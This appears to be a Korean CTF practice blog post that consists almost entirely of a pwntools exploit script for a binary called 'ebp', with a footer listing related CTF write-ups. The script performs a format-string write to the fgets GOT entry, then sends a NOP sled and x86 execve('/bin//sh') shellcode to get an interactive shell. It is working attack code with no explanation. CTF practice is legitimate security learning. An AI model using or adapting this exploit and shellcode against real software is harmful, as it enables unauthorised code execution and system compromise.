exploit.py
from pwn import *
p = process("./ebp")
e = ELF('./ebp')
payload = "%{0}p%4$n".format(e.got['fgets'])
p.sendline(payload)
p.recv(2048)
bufAddr = 0x0804A080
payload2 = "%{0}p%12$n".format(bufAddr+30)
payload2 += "\x90"*100
payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.sendline(payload2)
p.recv(2048)
p.interactive()
'System > Pwnable Practice' 카테고리의 다른 글
picoCTF 2018 authenticate (0) | 2019.08.10 |
---|---|
TUCTF CTF 2018 Ehh (0) | 2019.08.09 |
Layer7 CTF 2018 Life Game (0) | 2019.08.05 |
Pico CTF 2018 echooo (0) | 2019.08.04 |
Layer7 CTF 2018 Talmoru_party!~ (0) | 2019.08.02 |